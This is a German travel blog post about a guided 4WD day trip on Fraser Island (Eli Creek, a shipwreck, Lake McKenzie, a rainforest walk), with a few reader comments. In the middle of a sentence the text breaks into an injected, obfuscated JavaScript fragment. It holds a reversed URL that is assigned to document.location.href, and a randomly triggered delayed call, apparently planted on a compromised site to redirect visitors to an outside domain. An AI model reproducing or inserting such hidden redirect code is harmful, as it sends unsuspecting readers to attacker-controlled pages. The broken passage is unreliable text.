Von einem Arbeitskollegen habe ich den Tipp bekommen, Fraser Island zu besuchen.Der Tipp war Gold wert. Wir haben heute bei strahlendem Sonnenschein einen Tagesausflug auf die größte Sandinsel der Welt gemacht und unglaubliche Eindrücke mitgenommen. Auf die Insel dürfen nur Geländewagen oder Fahrzeuge mit einem Allradantrieb (4WD) . Daher mussten wir eine Tour buchen und unseren Camper auf dem Festland stehen lassen. Anja und ich sind morgens um 7:30 Uhr von einer Touristenkutsche (Allradbus) abgeholt worden. Da wir die letzten Touris waren, die eingesammelt wurden, haben wir zu Anfang getrennt gesessen. Anja war nicht wirklich begeistert, da unser Kutscher ein ziemlich verwaschenes, undeutliches Englisch sprach, dass selbst ich kaum verstanden habe. Nach dem zweiten Halt haben wir gemeinsam gesessen.
Die erste Station war Eli Creek, ein breiter, flacher Bach, der kristallklares Wasser führte. Anschließend sind wir zu einem Schiffswrack gefahren, dass die australische Marine zu Übungszwecken zu Schrott geschossen hat. Nach gefühlten drei Stunden und einer Fahrt quer über die Insel (es gibt dort keine geteerten Straßen, sondern nur Sandstraßen) haben wir dann die Perle der Insel erreicht: Lake McKenzie. Ein Süßwassersee der zum Baden einläd und karibisches Gefühl aufkommen lässt. Dort sind wir ein ein paar Minuten geschwommen und haben eine Stunde lang relaxt. Im Anschluss gab es australisches Buffet zu Mittag. Gegrilltes mit Variationen von verschiedenen Salaten. Typisch australisch ist übrigens Grillen (BBQ). Hier wird irgendwie immer und alles gegrillt. In fast jedem öffentlichen Park stehen kostenlose BBQ’s zur Verfügung. Man muss nur die Zutaten mitbringen und los geht’s. Wenn es also einen Weltmeister im Grillen gibt, dann sind es die Australier, wir kommen knapp dahinter.
Nach dem Essen ging es dann weiter Richtung Central Station auf der Insel. Dort haben wir dann einen Rundgang mit der ganzen Touristengruppen durch den Regenwald unternommen. Da wir nicht so auf Massentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touri-Gruppenführung stehen, haben wir uns hin und wieder zurück fallen lassen. Am Ende des Rundgangs wartete die Kutsche auf uns, die uns nach letztmaligem richtigen Durchrütteln zurück nach Rainbow Beach gebracht hat. Ein paar Eindrücke des Tages haben wir für Euch wieder in einer Galerie zusammen gefasst:
Wunderschöne Bilder. Australien hat schon seine Highlights.
Sind euch eigentlich auch mal die Aborigines begegnet?
Was habt ihr als Mitbringsels geplant?
Bumerang, Didgeridoo, aber mindestens einen Akubra-Hut aus Känguruleder. Das alles hatten wir in unserem Gepäck.
Euch weiter noch eine schöne Zeit.
Grüße von Irene und Wolfgang
Aborigines nur im Museum und am Anleger in Sydney, wo sie Musik gemacht haben. Für Tim möchten wir einen Bumerang kaufen, sonst lassen wir uns inspirieren. Eigentlich wollten wir den typischen Brotaufstrich Vegemite mitbringen, aber der schmeckt wie ja Brühe.
Liebe Grüße zurück